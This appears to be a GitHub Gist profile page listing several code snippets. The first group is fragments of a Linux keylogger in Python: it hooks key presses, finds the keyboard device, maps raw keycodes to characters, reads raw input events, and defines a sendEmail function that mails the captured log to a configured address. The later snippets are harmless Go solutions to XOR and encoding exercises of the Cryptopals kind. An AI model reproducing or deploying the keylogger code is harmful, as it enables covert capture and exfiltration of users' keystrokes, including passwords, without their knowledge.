Skip to content

Instantly share code, notes, and snippets.

View melkael's full-sized avatar

melkael

View GitHub Profile
import pyxhook
def OnKeyPress(event):
print (event.Key)
hm = pyxhook.HookManager()
hm.KeyDown = OnKeyPress
with open("/proc/bus/input/devices") as f:
lines = f.readlines()
pattern = re.compile("Handlers|EV=")
handlers = list(filter(pattern.search, lines))
pattern = re.compile("EV=120013")
for idx, elt in enumerate(handlers):
if pattern.search(elt):
qwerty_map = {
2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9",
11: "0", 12: "-", 13: "=", 14: "[BACKSPACE]", 15: "[TAB]", 16: "a", 17: "z",
18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p", 26: "^",
27: "$", 28: "\n", 29: "[CTRL]", 30: "q", 31: "s", 32: "d", 33: "f", 34: "g",
35: "h", 36: "j", 37: "k", 38: "l", 39: "m", 40: "ù", 41: "*", 42: "[SHIFT]",
43: "<", 44: "w", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: ",",
51: ";", 52: ":", 53: "!", 54: "[SHIFT]", 55: "FN", 56: "ALT", 57: " ", 58: "[CAPSLOCK]",
}
@melkael
melkael / loop.py
Last active January 30, 2019 10:28
FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)
in_file = open(infile_path, "rb")
event = in_file.read(EVENT_SIZE)
typed = ""
while event:
(_, _, type, code, value) = struct.unpack(FORMAT, event)
def sendEmail(message):
msg = MIMEMultipart()
password = PASS
msg['From'] = EMAIL
msg['To'] = EMAIL
msg['Subject'] = "Log clavier"
msg.attach(MIMEText(message, 'plain'))
package main
import "fmt"
import b64 "encoding/base64"
import hex "encoding/hex"
func hex_to_base64(hex_s string) string {
bytes, _ := hex.DecodeString(hex_s)
sEnc := b64.StdEncoding.EncodeToString(bytes)
package main
import "fmt"
import hex "encoding/hex"
func xor_equal_len(hex_s1 string, hex_s2 string) string {
bytes_s1, _ := hex.DecodeString(hex_s1)
bytes_s2, _ := hex.DecodeString(hex_s2)
bytes_xor := make([]byte, len(bytes_s1))
func decoder(str string) string {
key := ""
best := ""
var max float32 = 0
for i := 0x00; i < 0xFF; i++ {
key = fmt.Sprintf("%c", i)
decodedHex := xorStrToChar(str, key)
decodedAscii := hexToAscii(decodedHex)
if max < rateString(decodedAscii) {
max = rateString(decodedAscii)
func decodeMultipleStrings() string {
f, _ := os.Open("4.txt")
fs := bufio.NewScanner(f)
for fs.Scan() {
txt := fs.Text()
decodedString := decoder(txt)
if decodedString != "" {
return decodedString
}
}
func repeatingXorMakeKey(key string, length int) string {
ret := strings.Repeat(key, length/len(key)+1)
return ret[0:length]
}
func repeatingKeyXor(clear string, key string) string {
entryTab := strings.Split(clear, "\n")
output := ""
for i := 0; i < len(entryTab); i++ {
repeatedKey := repeatingXorMakeKey(key, len(entryTab[i]))